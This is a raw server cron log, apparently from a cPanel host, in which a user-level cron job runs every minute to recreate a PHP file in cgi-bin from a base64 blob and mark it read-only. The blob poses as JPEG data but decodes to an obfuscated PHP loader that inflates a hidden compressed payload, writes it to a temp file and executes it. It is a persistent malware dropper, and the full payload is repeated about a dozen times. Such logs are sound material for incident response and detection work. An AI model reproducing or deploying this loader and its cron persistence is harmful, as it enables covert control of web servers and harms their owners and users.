Sep 12 16:17:01 server CROND[5944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:18:01 server CROND[6315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:18:01 server CROND[6314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:18:01 server CROND[6313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:19:01 server CROND[6682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:19:01 server CROND[6684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:19:01 server CROND[6685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:20:01 server CROND[7220]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 16:20:01 server CROND[7222]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:20:01 server CROND[7223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:20:01 server CROND[7228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:20:01 server CROND[7229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:20:01 server CROND[7227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:20:01 server CROND[7230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:20:01 server CROND[7225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:20:01 server CROND[7226]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:21:01 server CROND[8057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:21:01 server CROND[8058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:21:01 server CROND[8059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:22:01 server CROND[8419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:22:01 server CROND[8420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:22:01 server CROND[8421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:23:01 server CROND[8789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:23:01 server CROND[8791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:23:01 server CROND[8790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:24:01 server CROND[9152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:24:01 server CROND[9153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:24:01 server CROND[9154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:25:01 server CROND[9686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:25:01 server CROND[9685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:25:01 server CROND[9688]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:25:01 server CROND[9690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:25:01 server CROND[9691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:25:01 server CROND[9689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:25:01 server CROND[9698]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 16:25:01 server CROND[9692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:26:01 server CROND[10595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:26:01 server CROND[10596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:26:01 server CROND[10598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:27:01 server CROND[10962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:27:01 server CROND[10963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:27:01 server CROND[10964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:27:01 server CROND[10965]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 16:28:01 server CROND[11372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:28:01 server CROND[11373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:28:01 server CROND[11374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:29:01 server CROND[11748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:29:01 server CROND[11749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:29:01 server CROND[11750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:30:01 server CROND[12235]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:30:01 server CROND[12236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
